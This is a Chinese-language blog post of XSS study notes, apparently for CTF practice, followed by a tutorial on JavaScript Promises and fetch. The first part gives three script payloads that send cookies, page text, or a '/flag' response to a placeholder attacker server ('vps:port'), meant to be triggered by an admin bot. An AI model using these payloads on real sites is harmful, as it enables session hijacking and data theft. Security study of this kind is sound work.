XSS复习

XSS的利用

读取页面cookie

简单试一下xss

<script>
fetch("http://vps:port/?a="+document.cookie)    
</script>
//向我们的vps发起请求,携带自己的cookie值作为a参数。这样nc我们服务器端口后,我们可以看到当前页面的cookie参数了。

利用XSS读取页面中的信息

简单试一下xss

<script>data=document.body.innerText;location.href="http://vps:port?a=    //这里fetch和location.href是一样的
"+data</script>

利用XSS请求API

<script>
fetch("/flag").then(x => x.text()).then(x => fetch("http://vps:port?a=" + x))
</script>

如上只是几个payload,一般需要发送到管理员,后台bot点击之后窃取管理员的信息,发送到我们的vps上。

http://localhost:80/?content=...  //省略内容为上述上个三个的url编码内容

网络请求fetch与异步变成对象Promise:

Promise是异步编程的一种解决方案。从语法上说,Promise 是一个对象,从它可以获取异步操作的消息。Promise 异步操作有三种状态:pending(进行中)、fulfilled(已成功)和 rejected(已失败)。.then方法接受promise成功消息或失败消息

const p = new Promise(function(resolve,reject){	//参数名换成其他的也行,但是位置第一个表成功,第二个表失败
  resolve(1);
}).then(function(value){ // 第一个then // 1
  console.log(value);
  return value * 2;
}).then(function(value){ // 第二个then // 2
  console.log(value);
}).then(function(value){ // 第三个then // undefined
  console.log(value);
});

Fetch API 基于 Promise 设计,使得异步操作更加简洁和易于理解。其优点如下:

  • 基于 Promises,代码更加简洁和易读。
  • 更好的错误处理机制:只在网络错误(如无法连接服务器)时返回 catch,而非状态码错误。
  • 支持多种数据格式(JSON、文本、二进制等)。
  • 可以处理跨域请求,通过 CORS 机制配置。

fetch 的语法相当简洁,最基本的形式是:

fetch(url)
  .then(response => response.json()) // 解析 JSON 数据
  .then(data => console.log(data))   // 处理数据
  .catch(error => console.error('Error:', error)); // 错误处理

fetch(url,options)的参数:

  • url:要发送请求的目标 URL。
  • options(可选):可以指定请求方法(GET、POST 等)、请求头、请求体等内容。

返回值:

返回一个 Promise 对象,Promise 在请求成功时返回 Response 对象,在请求失败时被拒绝。

fetch还有不懂的参考菜鸟教程:https://www.runoob.com/ajax/fetch-api.html

posted @ 2025-05-25 20:41  DaSuA11  阅读(19)  评论(0)    收藏  举报